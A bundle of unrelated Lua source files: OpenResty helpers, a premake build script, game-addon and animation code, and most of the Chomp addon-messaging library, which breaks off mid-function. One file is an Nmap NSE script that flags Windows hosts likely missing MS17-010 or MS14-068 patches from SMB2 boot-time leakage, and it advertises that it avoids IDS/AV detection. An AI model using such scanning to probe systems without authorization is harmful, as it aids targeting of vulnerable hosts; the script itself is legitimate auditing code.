return tostring(o)
end
end
function _M.sha1_digest(s)
local str = require "resty.string"
return str.to_hex(ngx.sha1_bin(s))
end
-- returns true iif all elems of f_req are among actual's keys
function _M.required_params_present(f_req, actual)
local req = {}
for k,_ in pairs(actual) do
req[k] = true
end
for _,v in ipairs(f_req) do
if not req[v] then
return false
end
end
return true
end
local balancer = resty_balancer.new(function(peers) return peers[1] end)
function _M.resolve(host, port)
local resolver = resty_resolver:instance()
local servers = resolver:get_servers(host, { port = port })
local peers = balancer:peers(servers)
local peer = balancer:select_peer(peers)
local ip = host
if peer then
ip = peer[1]
port = peer[2]
end
return ip, port
end
function _M.connect_redis(options)
local opts = {}
local url = options and options.url or env.get('REDIS_URL')
if url then
url = resty_url.split(url, 'redis')
if url then
opts.host = url[4]
opts.port = url[5]
opts.db = url[6] and tonumber(sub(url[6], 2))
opts.password = url[3] or url[2]
end
elseif options then
opts.host = options.host
opts.port = options.port
opts.db = options.db
opts.password = options.password
end
opts.timeout = options and options.timeout or redis_conf.timeout
local host = opts.host or env.get('REDIS_HOST') or "127.0.0.1"
local port = opts.port or env.get('REDIS_PORT') or 6379
local red = redis:new()
red:set_timeout(opts.timeout)
local ok, err = red:connect(_M.resolve(host, port))
if not ok then
return nil, _M.error("failed to connect to redis on ", host, ":", port, ": ", err)
end
if opts.password then
ok = red:auth(opts.password)
if not ok then
return nil, _M.error("failed to auth on redis ", host, ":", port)
end
end
if opts.db then
ok = red:select(opts.db)
if not ok then
return nil, _M.error("failed to select db ", opts.db, " on redis ", host, ":", port)
end
end
return red
end
-- return ownership of this connection to the pool
function _M.release_redis(red)
red:set_keepalive(redis_conf.keepalive, redis_conf.poolsize)
end
local xml_header_len = string.len('<?xml version="1.0" encoding="UTF-8"?>')
function _M.match_xml_element(xml, element, value)
if not xml then return nil end
local pattern = string.format('<%s>%s</%s>', element, value, element)
return string.find(xml, pattern, xml_header_len, xml_header_len, true)
end
-- error and exit
function _M.error(...)
if ngx.get_phase() == 'timer' then
return table.concat(table.pack(...))
else
ngx.status = ngx.HTTP_INTERNAL_SERVER_ERROR
ngx.say(...)
ngx.exit(ngx.status)
end
end
function _M.missing_args(text)
ngx.say(text)
ngx.exit(ngx.HTTP_OK)
end
---
-- Builds a query string from a table.
--
-- This is the inverse of <code>parse_query</code>.
-- @param query A dictionary table where <code>table['name']</code> =
-- <code>value</code>.
-- @return A query string (like <code>"name=value2&name=value2"</code>).
-----------------------------------------------------------------------------
function _M.build_query(query)
local qstr = ""
for i,v in pairs(query) do
qstr = qstr .. i .. '=' .. v .. '&'
end
return string.sub(qstr, 0, #qstr-1)
end
return _M
-- -- Example usage:
-- local MM = require 'mymodule'
-- MM.bar()
|
-- Premake5 file to generate project files for all supported platforms
-- Author: Steven Savold
-- workspace (Solution) for the entire enigne and other addons/plugins
workspace "HazmatBrowser"
architecture "x86_64"
startproject "HazmatBrowser"
configurations
{
"Debug",
"Release"
}
outputdir = "%{cfg.buildcfg}-%{cfg.system}-%{cfg.architecture}"
IncludeDir = {}
IncludeDir["hazmat_renderer"] = "HazmatRenderEngine/src"
IncludeDir["spdlog"] = "vendor/lib/hazel/Hazel/vendor/spdlog/include"
IncludeDir["gumbo"] = "vendor/lib/gumbo-parser/src"
IncludeDir["hazel"] = "vendor/lib/hazel/Hazel/src"
IncludeDir["GLFW"] = "%{wks.location}/vendor/lib/hazel/Hazel/vendor/GLFW/include"
IncludeDir["Glad"] = "%{wks.location}/vendor/lib/hazel/Hazel/vendor/Glad/include"
IncludeDir["ImGui"] = "%{wks.location}/vendor/lib/hazel/Hazel/vendor/imgui"
IncludeDir["glm"] = "%{wks.location}/vendor/lib/hazel/Hazel/vendor/glm"
IncludeDir["stb_image"] = "%{wks.location}/vendor/lib/hazel/Hazel/vendor/stb_image"
IncludeDir["entt"] = "%{wks.location}/vendor/lib/hazel/Hazel/vendor/entt/include"
IncludeDir["yaml_cpp"] = "%{wks.location}/vendor/lib/hazel/Hazel/vendor/yaml-cpp/include"
-- Definition of Browser Application Project
project "HazmatBrowser"
location "HazmatBrowser"
kind "ConsoleApp"
language "C++"
cppdialect "C++17"
systemversion "latest"
staticruntime "on"
targetdir ("bin/" .. outputdir .. "/%{prj.name}")
objdir ("bin-int/" .. outputdir .. "/%{prj.name}")
files
{
"%{prj.name}/src/**.cpp",
"%{prj.name}/src/**.h"
}
includedirs
{
"%{prj.name}/src",
"%{IncludeDir.hazmat_renderer}",
"%{IncludeDir.spdlog}",
"%{IncludeDir.gumbo}",
"%{IncludeDir.hazel}",
"%{IncludeDir.GLFW}",
"%{IncludeDir.Glad}",
"%{IncludeDir.ImGui}",
"%{IncludeDir.glm}",
"%{IncludeDir.stb_image}",
"%{IncludeDir.entt}",
"%{IncludeDir.yaml_cpp}"
}
links
{
"HazmatRenderEngine",
"Hazel"
}
filter "system:windows"
defines
{
"HAZMAT_PLATFORM_WINDOWS"
}
filter "system:linux"
defines
{
"HAZMAT_PLATFORM_LINUX"
}
filter "system:macosx"
defines
{
"HAZMAT_PLATFORM_MACOS"
}
-- Filter for Debug configuration
filter "configurations:Debug*"
defines
{
"HAZMAT_DEBUG"
}
runtime "Debug"
symbols "on" -- turn debug symbols ON
-- Filter for Release configuration
filter "configurations:Release*"
defines
{
"HAZMAT_RELEASE"
}
runtime "Release"
optimize "Full" -- turn on Full optimizations
-- Definition of Browser Application Project
project "HazmatRenderEngine"
location "HazmatRenderEngine"
kind "StaticLib"
language "C++"
cppdialect "C++17"
systemversion "latest"
staticruntime "on"
targetdir ("bin/" .. outputdir .. "/%{prj.name}")
objdir ("bin-int/" .. outputdir .. "/%{prj.name}")
files
{
"%{prj.name}/src/**.cpp",
"%{prj.name}/src/**.h"
}
includedirs
{
"%{prj.name}/src",
"%{IncludeDir.spdlog}",
"%{IncludeDir.gumbo}",
"%{IncludeDir.glm}"
}
links
{
"Gumbo"
}
filter "system:windows"
defines
{
"HAZMAT_PLATFORM_WINDOWS"
}
filter "system:linux"
defines
{
"HAZMAT_PLATFORM_LINUX"
}
filter "system:macosx"
defines
{
"HAZMAT_PLATFORM_MACOS"
}
-- Filter for Debug configuration
filter "configurations:Debug*"
defines
{
"HAZMAT_DEBUG"
}
runtime "Debug"
symbols "on" -- turn debug symbols ON
-- Filter for Release configuration
filter "configurations:Release*"
defines
{
"HAZMAT_RELEASE"
}
runtime "Release"
optimize "Full" -- turn on Full optimizations
group "Depends"
-- Definition of the Gumbo Parser Library
project "Gumbo"
location "vendor/lib/gumbo-parser"
kind "StaticLib"
language "C"
systemversion "latest"
staticruntime "on"
targetdir ("bin/" .. outputdir .. "/%{prj.name}")
objdir ("bin-int/" .. outputdir .. "/%{prj.name}")
files
{
"vendor/lib/gumbo-parser/src/**.c"
}
includedirs
{
"vendor/lib/gumbo-parser/visualc/include"
}
-- include the Hazel Renderer in this project
-- Include directories for Hazel relative to root folder (solution directory)
include "vendor/lib/hazel/Hazel"
include "vendor/lib/hazel/Hazel/vendor/GLFW"
include "vendor/lib/hazel/Hazel/vendor/Glad"
include "vendor/lib/hazel/Hazel/vendor/imgui"
include "vendor/lib/hazel/Hazel/vendor/yaml-cpp"
group ""
|
local x
do
local y = 12
goto l1
::l2:: x = x + 1; goto l3
::l1:: x = y; goto l2
end
::l3:: ::l3_1:: assert(x == 13) |
module(..., package.seeall)
local spineboy
function onCreate()
local layer = flower.Layer()
layer:setScene(scene)
layer:setSortMode(MOAILayer.SORT_PRIORITY_ASCENDING)
spineboy = spine.Skeleton("spineboy_atlas/spineboy.json", "spineboy_atlas/spineboy.atlas")
spineboy:setLayer(layer)
spineboy:setLoc(140, 400)
spineboy:playAnim('walk', true)
end
function onClose(e)
spineboy:stopAnim()
end |
-- Copyright (C) Dejiang Zhu (doujiang24)
local pairs = pairs
local insert = table.insert
local type = type
local ok, new_tab = pcall(require, "table.new")
if not ok then
new_tab = function (narr, nrec) return {} end
end
local _M = { _VERSION = '0.01' }
function _M.filter(tbl, func)
local ret = {}
for k, v in pairs(tbl) do
if not func(v) then
ret[k] = v
end
end
return ret
end
function _M.in_tbl(value, tbl)
for _k, v in pairs(tbl) do
if v == value then
return true
end
end
return nil
end
local function copy(tbl)
local ret = {}
for k, v in pairs(tbl) do
if "table" == type(v) then
ret[k] = copy(v)
else
ret[k] = v
end
end
return ret
end
_M.copy = copy
-- append: append tbl2 to tbl1 when is true; default nil
-- tbl1, tbl2 should not be mix hash table
function _M.merge(tbl1, tbl2, append)
local ret = tbl1
if not append then
ret = copy(tbl1)
end
for k, v in pairs(tbl2) do
if type(k) == "number" then
insert(ret, v)
else
ret[k] = v
end
end
return ret
end
function _M.slice(tbl, offset, length)
local ret = {}
local fend = length and ((offset + length) <= #tbl) and (offset + length - 1) or #tbl
for i = offset, fend, 1 do
insert(ret, tbl[i])
end
return ret
end
function _M.keys(tbl)
local ret = {}
for k, _v in pairs(tbl) do
ret[#ret + 1] = k
end
return ret
end
function _M.values(tbl, key)
local ret = {}
for _k, v in pairs(tbl) do
ret[#ret + 1] = key and v[key] or v
end
return ret
end
function _M.array_to_hash(t)
local n = #t
local h = new_tab(0, n / 2)
for i = 1, n, 2 do
h[t[i]] = t[i + 1]
end
return h
end
return _M
|
local smb = require "smb"
local vulns = require "vulns"
local stdnse = require "stdnse"
local string = require "string"
local smb2 = require "smb2"
local table = require "table"
description = [[
Attempts to detect missing patches in Windows systems by checking the
uptime returned during the SMB2 protocol negotiation.
SMB2 protocol negotiation response returns the system boot time
pre-authentication. This information can be used to determine
if a system is missing critical patches without triggering IDS/IPS/AVs.
Remember that a rebooted system may still be vulnerable. This check
only reveals unpatched systems based on the uptime, no additional probes are sent.
References:
* https://twitter.com/breakersall/status/880496571581857793
]]
---
-- @usage nmap -O --script smb2-vuln-uptime <target>
-- @usage nmap -p445 --script smb2-vuln-uptime --script-args smb2-vuln-uptime.skip-os=true <target>
--
-- @output
-- | smb2-vuln-uptime:
-- | VULNERABLE:
-- | MS17-010: Security update for Windows SMB Server
-- | State: LIKELY VULNERABLE
-- | IDs: ms:ms17-010 CVE:2017-0147
-- | This system is missing a security update that resolves vulnerabilities in
-- | Microsoft Windows SMB Server.
-- |
-- | References:
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-0147
-- |_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
--
-- @xmloutput
-- <table key="2017-0147">
-- <elem key="title">MS17-010: Security update for Windows SMB Server</elem>
-- <elem key="state">LIKELY VULNERABLE</elem>
-- <table key="ids">
-- <elem>CVE:2017-0147</elem>
-- <elem>ms:ms17-010</elem>
-- </table>
-- <table key="description">
-- <elem>This system is missing a security update that resolves vulnerabilities in
 Microsoft Windows SMB Server.
</elem>
-- </table>
-- <table key="refs">
-- <elem>https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-0147</elem>
-- <elem>https://technet.microsoft.com/en-us/library/security/ms17-010.aspx</elem>
-- </table>
-- </table>
--
-- @args smb2-vuln-uptime.skip-os Ignore OS detection results and show results
---
author = "Paulino Calderon <calderon()calderonpale.com>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "safe"}
hostrule = function(host)
local ms = false
local os_detection = stdnse.get_script_args(SCRIPT_NAME .. ".skip-os") or false
if host.os then
for k, v in pairs(host.os) do -- Loop through OS matches
if string.match(v['name'], "Microsoft") then
ms = true
end
end
end
return (smb.get_port(host) ~= nil and ms) or (os_detection)
end
local ms_vulns = {
{
title = 'MS17-010: Security update for Windows SMB Server',
ids = {ms = "ms17-010", CVE = "2017-0147"},
desc = [[
This system is missing a security update that resolves vulnerabilities in
Microsoft Windows SMB Server.
]],
disclosure_time = 1489471200,
disclosure_date = {year=2017, month=3, day=14},
references = {
'https://technet.microsoft.com/en-us/library/security/ms17-010.aspx',
},
},
{
title = 'Microsoft Kerberos Checksum Vulnerability',
ids = {ms = "ms14-068", CVE = "2014-6324"},
desc = [[
This security update resolves a privately reported vulnerability in Microsoft
Windows Kerberos KDC that could allow an attacker to elevate unprivileged
domain user account privileges to those of the domain administrator account.
]],
disclosure_time = 1416290400,
disclosure_date = {year=2014, month=11, day=18},
references = {
'https://technet.microsoft.com/en-us/library/security/ms14-068.aspx'
},
},
}
local function check_vulns(host, port)
local smbstate, status, overrides
local vulns_detected = {}
overrides = {}
overrides['Dialects'] = {0x0202}
status, smbstate = smb.start(host)
status = smb2.negotiate_v2(smbstate, overrides)
if status then
stdnse.debug2("SMB2: Date: %s (%s) Start date:%s (%s)",
smbstate['date'], smbstate['time'],
smbstate['start_date'], smbstate['start_time'])
for _, vuln in pairs(ms_vulns) do
if smbstate['start_time'] < vuln['disclosure_time'] then
stdnse.debug2("Vulnerability detected")
vuln.extra_info = string.format("The system hasn't been rebooted since %s", smbstate['start_date'])
table.insert(vulns_detected, vuln)
end
end
else
stdnse.debug2("Negotiation failed")
return nil, "Protocol negotiation failed (SMB2)"
end
return true, vulns_detected
end
action = function(host,port)
local status, vulnerabilities
local report = vulns.Report:new(SCRIPT_NAME, host, port)
status, vulnerabilities = check_vulns(host, port)
if status then
for i, v in pairs(vulnerabilities) do
local vuln = { title = v['title'], description = v['desc'],
references = v['references'], disclosure_date = v['disclosure_date'],
IDS = v['ids']}
vuln.state = vulns.STATE.LIKELY_VULN
vuln.extra_info = v['extra_info']
report:add_vulns(SCRIPT_NAME, vuln)
end
end
return report:make_output()
end
|
-- TODO support remaining arguments
local units, chrspecialization, specIndex = ...
local player = units.guids[units.aliases.player]
local roles = {
[0] = 'TANK',
[1] = 'HEALER',
[2] = 'DAMAGER',
}
for row in chrspecialization() do
if row.ClassID == player.class and row.OrderIndex == specIndex - 1 then
return row.ID,
player.sex == 2 and row.FemaleName_lang or row.Name_lang,
row.Description_lang,
row.SpellIconFileID,
roles[row.Role],
0 -- TODO implement primary stat
end
end
|
--[[
© Justin Snelgrove
© Morgane Parize
Permission to use, copy, modify, and distribute this software for any
purpose with or without fee is hereby granted, provided that the above
copyright notice and this permission notice appear in all copies.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY
SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION
OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
]]
local Chomp = LibStub:GetLibrary("Chomp", true)
local Internal = Chomp and Chomp.Internal or nil
if not Chomp or not Internal or not Internal.LOADING then
return
end
local DEFAULT_PRIORITY = "MEDIUM"
local PRIORITIES_HASH = { HIGH = true, MEDIUM = true, LOW = true }
local PRIORITY_TO_CTL = { LOW = "BULK", MEDIUM = "NORMAL", HIGH = "ALERT" }
local OVERHEAD = 27
local function QueueMessageOut(func, ...)
if not Internal.OutgoingQueue then
Internal.OutgoingQueue = {}
end
local t = { ... }
t.f = func
t.n = select("#", ...)
local q = Internal.OutgoingQueue
q[#q + 1] = t
end
function Chomp.SendAddonMessage(prefix, text, kind, target, priority, queue, callback, callbackArg)
if type(prefix) ~= "string" then
error("Chomp.SendAddonMessage: prefix: expected string, got " .. type(prefix), 2)
elseif type(text) ~= "string" then
error("Chomp.SendAddonMessage: text: expected string, got " .. type(text), 2)
elseif kind == "WHISPER" and type(target) ~= "string" then
error("Chomp.SendAddonMessage: target: expected string, got " .. type(target), 2)
elseif kind == "CHANNEL" and type(target) ~= "number" then
error("Chomp.SendAddonMessage: target: expected number, got " .. type(target), 2)
elseif priority and not PRIORITIES_HASH[priority] then
error("Chomp.SendAddonMessage: priority: expected \"HIGH\", \"MEDIUM\", \"LOW\", or nil, got " .. tostring(priority), 2)
elseif queue and type(queue) ~= "string" then
error("Chomp.SendAddonMessage: queue: expected string or nil, got " .. type(queue), 2)
elseif callback and type(callback) ~= "function" then
error("Chomp.SendAddonMessage: callback: expected function or nil, got " .. type(callback), 2)
end
local length = #text
if length > 255 then
error("Chomp.SendAddonMessage: text length cannot exceed 255 bytes", 2)
elseif #prefix > 16 then
error("Chomp.SendAddonMessage: prefix: length cannot exceed 16 bytes", 2)
end
if not Internal.isReady then
QueueMessageOut("SendAddonMessage", prefix, text, kind, target, priority, queue, callback, callbackArg)
return
end
if not kind then
kind = "PARTY"
else
kind = kind:upper()
end
if target and kind == "WHISPER" then
target = Ambiguate(target, "none")
end
length = length + #prefix + OVERHEAD
if Internal.ChatThrottleLib and not ChatThrottleLib.isChomp then
-- CTL likes to drop RAID messages, despite the game falling back
-- automatically to PARTY.
if kind == "RAID" and not IsInRaid() then
kind = "PARTY"
end
ChatThrottleLib:SendAddonMessage(PRIORITY_TO_CTL[priority] or "NORMAL", prefix, text, kind, target, queue or ("%s%s%s"):format(prefix, kind, tostring(target) or ""), callback, callbackArg)
return
end
if not Internal.hasQueue and length <= Internal:UpdateBytes() then
Internal.bytes = Internal.bytes - length
Internal.isSending = true
C_ChatInfo.SendAddonMessage(prefix, text, kind, target)
Internal.isSending = false
if callback then
xpcall(callback, CallErrorHandler, callbackArg, true)
end
return
end
local message = {
f = C_ChatInfo.SendAddonMessage,
[1] = prefix,
[2] = text,
[3] = kind,
[4] = target,
kind = kind,
length = length,
callback = callback,
callbackArg = callbackArg,
}
return Internal:Enqueue(priority or DEFAULT_PRIORITY, queue or ("%s%s%s"):format(prefix, kind, (tostring(target) or "")), message)
end
function Chomp.SendAddonMessageLogged(prefix, text, kind, target, priority, queue, callback, callbackArg)
if type(prefix) ~= "string" then
error("Chomp.SendAddonMessageLogged: prefix: expected string, got " .. type(prefix), 2)
elseif type(text) ~= "string" then
error("Chomp.SendAddonMessageLogged: text: expected string, got " .. type(text), 2)
elseif kind == "WHISPER" and type(target) ~= "string" then
error("Chomp.SendAddonMessageLogged: target: expected string, got " .. type(target), 2)
elseif kind == "CHANNEL" and type(target) ~= "number" then
error("Chomp.SendAddonMessageLogged: target: expected number, got " .. type(target), 2)
elseif priority and not PRIORITIES_HASH[priority] then
error("Chomp.SendAddonMessageLogged: priority: expected \"HIGH\", \"MEDIUM\", \"LOW\", or nil, got " .. tostring(priority), 2)
elseif queue and type(queue) ~= "string" then
error("Chomp.SendAddonMessageLogged: queue: expected string or nil, got " .. type(queue), 2)
elseif callback and type(callback) ~= "function" then
error("Chomp.SendAddonMessageLogged: callback: expected function or nil, got " .. type(callback), 2)
end
local length = #text
if length > 255 then
error("Chomp.SendAddonMessageLogged: text length cannot exceed 255 bytes", 2)
elseif #prefix > 16 then
error("Chomp.SendAddonMessageLogged: prefix: length cannot exceed 16 bytes", 2)
end
if not Internal.isReady then
QueueMessageOut("SendAddonMessageLogged", prefix, text, kind, target, priority, queue, callback, callbackArg)
return
end
if not kind then
kind = "PARTY"
else
kind = kind:upper()
end
if target and kind == "WHISPER" then
target = Ambiguate(target, "none")
end
length = length + #prefix + OVERHEAD
if Internal.ChatThrottleLib and not ChatThrottleLib.isChomp and ChatThrottleLib.SendAddonMessageLogged then
-- CTL likes to drop RAID messages, despite the game falling back
-- automatically to PARTY.
if kind == "RAID" and not IsInRaid() then
kind = "PARTY"
end
ChatThrottleLib:SendAddonMessageLogged(PRIORITY_TO_CTL[priority] or "NORMAL", prefix, text, kind, target, queue or ("%s%s%s"):format(prefix, kind, tostring(target) or ""), callback, callbackArg)
return
end
if not Internal.hasQueue and length <= Internal:UpdateBytes() then
Internal.bytes = Internal.bytes - length
Internal.isSending = true
C_ChatInfo.SendAddonMessageLogged(prefix, text, kind, target)
Internal.isSending = false
if callback then
xpcall(callback, CallErrorHandler, callbackArg, true)
end
return
end
local message = {
f = C_ChatInfo.SendAddonMessageLogged,
[1] = prefix,
[2] = text,
[3] = kind,
[4] = target,
kind = kind,
length = length,
callback = callback,
callbackArg = callbackArg,
}
return Internal:Enqueue(priority or DEFAULT_PRIORITY, queue or ("%s%s%s"):format(prefix, kind, (tostring(target) or "")), message)
end
function Chomp.SendChatMessage(text, kind, language, target, priority, queue, callback, callbackArg)
if type(text) ~= "string" then
error("Chomp.SendChatMessage: text: expected string, got " .. type(text), 2)
elseif language and type(language) ~= "string" and type(language) ~= "number" then
error("Chomp.SendChatMessage: language: expected string or number, got " .. type(language), 2)
elseif kind == "WHISPER" and type(target) ~= "string" then
error("Chomp.SendChatMessage: target: expected string, got " .. type(target), 2)
elseif kind == "CHANNEL" and type(target) ~= "number" then
error("Chomp.SendChatMessage: target: expected number, got " .. type(target), 2)
elseif priority and not PRIORITIES_HASH[priority] then
error("Chomp.SendChatMessage: priority: expected \"HIGH\", \"MEDIUM\", \"LOW\", or nil, got " .. tostring(priority), 2)
elseif queue and type(queue) ~= "string" then
error("Chomp.SendChatMessage: queue: expected string or nil, got " .. type(queue), 2)
elseif callback and type(callback) ~= "function" then
error("Chomp.SendChatMessage: callback: expected function or nil, got " .. type(callback), 2)
end
local length = #text
if length > 255 then
error("Chomp.SendChatMessage: text length cannot exceed 255 bytes", 2)
end
if not Internal.isReady then
QueueMessageOut("SendChatMessage", text, kind, language, target, priority, queue, callback, callbackArg)
return
end
if not kind then
kind = "SAY"
else
kind = kind:upper()
end
if target and kind == "WHISPER" then
target = Ambiguate(target, "none")
end
length = length + OVERHEAD
if Internal.ChatThrottleLib and not ChatThrottleLib.isChomp then
-- CTL likes to drop RAID messages, despite the game falling back
-- automatically to PARTY.
if kind == "RAID" and not IsInRaid() then
kind = "PARTY"
end
ChatThrottleLib:SendChatMessage(PRIORITY_TO_CTL[priority] or "NORMAL", "Chomp", text, kind, language, target, queue or kind .. (target or ""), callback, callbackArg)
return
end
if not Internal.hasQueue and length <= Internal:UpdateBytes() then
Internal.bytes = Internal.bytes - length
Internal.isSending = true
SendChatMessage(text, kind, language, target)
Internal.isSending = false
if callback then
xpcall(callback, CallErrorHandler, callbackArg, true)
end
return
end
local message = {
f = SendChatMessage,
[1] = text,
[2] = kind,
[3] = language,
[4] = target,
kind = kind,
length = length,
callback = callback,
callbackArg = callbackArg,
}
return Internal:Enqueue(priority or DEFAULT_PRIORITY, queue or kind .. (target or ""), message)
end
function Chomp.BNSendGameData(bnetIDGameAccount, prefix, text, priority, queue, callback, callbackArg)
if type(prefix) ~= "string" then
error("Chomp.BNSendGameData: prefix: expected string, got " .. type(text), 2)
elseif type(text) ~= "string" then
error("Chomp.BNSendGameData: text: expected string, got " .. type(text), 2)
elseif type(bnetIDGameAccount) ~= "number" then
error("Chomp.BNSendGameData: bnetIDGameAccount: expected number, got " .. type(bnetIDGameAccount), 2)
elseif priority and not PRIORITIES_HASH[priority] then
error("Chomp.BNSendGameData: priority: expected \"HIGH\", \"MEDIUM\", \"LOW\", or nil, got " .. tostring(priority), 2)
elseif queue and type(queue) ~= "string" then
error("Chomp.BNSendGameData: queue: expected string or nil, got " .. type(queue), 2)
elseif callback and type(callback) ~= "function" then
error("Chomp.BNSendGameData: callback: expected function or nil, got " .. type(callback), 2)
end
local length = #text
if length > 4078 then
error("Chomp.BNSendGameData: text: length cannot exceed 4078 bytes", 2)
elseif #prefix > 16 then
error("Chomp.BNSendGameData: prefix: length cannot exceed 16 bytes", 2)
end
if not Internal.isReady then
QueueMessageOut("BNSendGameData", bnetIDGameAccount, prefix, text, priority, queue, callback, callbackArg)
return
end
length = length + 18 -- 16 byte prefix, 2 byte bnetIDAccount
if not Internal.hasQueue and length <= Internal:UpdateBytes() then
Internal.bytes = Internal.bytes - length
Internal.isSending = true
BNSendGameData(bnetIDGameAccount, prefix, text)
Internal.isSending = false
if callback then
xpcall(callback, CallErrorHandler, callbackArg, true)
end
return
end
local message = {
f = BNSendGameData,
[1] = bnetIDGameAccount,
[2] = prefix,
[3] = text,
length = length,
callback = callback,
callbackArg = callbackArg,
}
return Internal:Enqueue(priority or DEFAULT_PRIORITY, queue or ("%s%d"):format(prefix, bnetIDGameAccount), message)
end
function Chomp.BNSendWhisper(bnetIDAccount, text, priority, queue, callback, callbackArg)
if type(text) ~= "string" then
error("Chomp.BNSendWhisper: text: expected string, got " .. type(text), 2)
elseif type(bnetIDAccount) ~= "number" then
error("Chomp.BNSendWhisper: bnetIDAccount: expected number, got " .. type(bnetIDAccount), 2)
elseif priority and not PRIORITIES_HASH[priority] then
error("Chomp.BNSendWhisper: priority: expected \"HIGH\", \"MEDIUM\", \"LOW\", or nil, got " .. tostring(priority), 2)
elseif queue and type(queue) ~= "string" then
error("Chomp.BNSendWhisper: queue: expected string or nil, got " .. type(queue), 2)
elseif callback and type(callback) ~= "function" then
error("Chomp.BNSendWhisper: callback: expected function or nil, got " .. type(callback), 2)
end
local length = #text
if length > 997 then
error("Chomp.BNSendWhisper: text length cannot exceed 997 bytes", 2)
end
if not Internal.isReady then
QueueMessageOut("BNSendWhisper", bnetIDAccount, text, priority, queue, callback, callbackArg)
return
end
length = length + 2 -- 2 byte bnetIDAccount
if not Internal.hasQueue and length <= Internal:UpdateBytes() then
Internal.bytes = Internal.bytes - length
Internal.isSending = true
BNSendWhisper(bnetIDAccount, text)
Internal.isSending = false
if callback then
xpcall(callback, CallErrorHandler, callbackArg, true)
end
return
end
local message = {
f = BNSendWhisper,
[1] = bnetIDAccount,
[2] = text,
length = length,
callback = callback,
callbackArg = callbackArg,
}
return Internal:Enqueue(priority or DEFAULT_PRIORITY, queue or tostring(bnetIDAccount), message)
end
function Chomp.IsSending()
return Internal.isSending
end
local DEFAULT_SETTINGS = {
fullMsgOnly = true,
validTypes = {
["string"] = true,
},
}
function Chomp.RegisterAddonPrefix(prefix, callback, prefixSettings)
local prefixType = type(prefix)
if prefixType ~= "string" then
error("Chomp.RegisterAddonPrefix: prefix: expected string, got " .. prefixType, 2)
elseif prefixType == "string" and #prefix > 16 then
error("Chomp.RegisterAddonPrefix: prefix: length cannot exceed 16 bytes", 2)
elseif type(callback) ~= "function" then
error("Chomp.RegisterAddonPrefix: callback: expected function, got " .. type(callback), 2)
elseif prefixSettings and type(prefixSettings) ~= "table" then
error("Chomp.RegisterAddonPrefix: prefixSettings: expected table or nil, got " .. type(prefixSettings), 2)
end
if not prefixSettings then
prefixSettings = DEFAULT_SETTINGS
end
if prefixSettings.validTypes and type(prefixSettings.validTypes) ~= "table" then
error("Chomp.RegisterAddonPrefix: prefixSettings.validTypes: expected table or nil, got " .. type(prefixSettings.validTypes), 2)
elseif prefixSettings.rawCallback and type(prefixSettings.rawCallback) ~= "function" then
error("Chomp.RegisterAddonPrefix: prefixSettings.rawCallback: expected function or nil, got " .. type(prefixSettings.rawCallback), 2)
end
local prefixData = Internal.Prefixes[prefix]
if not prefixData then
prefixData = {
callback = callback,
rawCallback = prefixSettings.rawCallback,
fullMsgOnly = prefixSettings.fullMsgOnly,
broadcastPrefix = prefixSettings.broadcastPrefix,
}
local validTypes = prefixSettings.validTypes or DEFAULT_SETTINGS.validTypes
prefixData.validTypes = {}
for dataType, func in pairs(Internal.Serialize) do
if validTypes[dataType] then
prefixData.validTypes[dataType] = true
end
end
Internal.Prefixes[prefix] = prefixData
if not C_ChatInfo.IsAddonMessagePrefixRegistered(prefix) then
C_ChatInfo.RegisterAddonMessagePrefix(prefix)
end
else
error("Chomp.RegisterAddonPrefix: prefix handler already registered, Chomp currently supports only one handler per prefix")
end
end
function Chomp.IsAddonPrefixRegistered(prefix)
return Internal.Prefixes[prefix] ~= nil
end
local nextSessionID = math.random(0, 4095)
local function SplitAndSend(sendFunc, maxSize, bitField, prefix, text, ...)
local textLen = #text
-- Subtract Chomp metadata from maximum size.
maxSize = maxSize - 12
local totalOffset = 0
local msgID = 0
local totalMsg = math.ceil(textLen / maxSize)
local sessionID = nextSessionID
nextSessionID = (nextSessionID + 1) % 4096
local position = 1
local codecVersion = Internal:GetCodecVersionFromBitfield(bitField)
while position <= textLen do
-- Only *need* to do a safe substring for encoded channels, but doing so
-- always shouldn't hurt.
local msgText, offset = Chomp.SafeSubString(text, position, position + maxSize - 1, textLen, codecVersion)
if offset > 0 then
-- Update total offset and total message number if needed.
totalOffset = totalOffset + offset
totalMsg = math.ceil((textLen + totalOffset) / maxSize)
end
msgID = msgID + 1
msgText = ("%03X%03X%03X%03X%s"):format(bitField, sessionID, msgID, totalMsg, msgText)
sendFunc(prefix, msgText, ...)
position = position + maxSize - offset
end
end
local function ToInGame(bitField, prefix, text, kind, target, priority, queue)
return SplitAndSend(Chomp.SendAddonMessage, 255, bitField, prefix, text, kind, target, priority, queue)
end
local function ToInGameLogged(bitField, prefix, text, kind, target, priority, queue)
return SplitAndSend(Chomp.SendAddonMessageLogged, 255, bitField, prefix, text, kind, target, priority, queue)
end
local function BNSendGameDataRearrange(prefix, text, bnetIDGameAccount, ...)
return Chomp.BNSendGameData(bnetIDGameAccount, prefix, text, ...)
end
local function ToBattleNet(bitField, prefix, text, kind, bnetIDGameAccount, priority, queue)
return SplitAndSend(BNSendGameDataRearrange, 4078, bitField, prefix, text, bnetIDGameAccount, priority, queue)
end
local DEFAULT_OPTIONS = {}
function Chomp.SmartAddonMessage(prefix, data, kind, target, messageOptions)
local prefixData = Internal.Prefixes[prefix]
if not prefixData then
error("Chomp.SmartAddonMessage: prefix: prefix has not been registered with Chomp", 2)
elseif type(kind) ~= "string" then
error("Chomp.SmartAddonMessage: kind: expected string, got " .. type(kind), 2)
elseif kind == "WHISPER" and type(target) ~= "string" then
error("Chomp.SmartAddonMessage: target: expected string, got " .. type(target), 2)
elseif kind == "CHANNEL" and type(target) ~= "number" then
error("Chomp.SmartAddonMessage: target: expected number, got " .. type(target), 2)
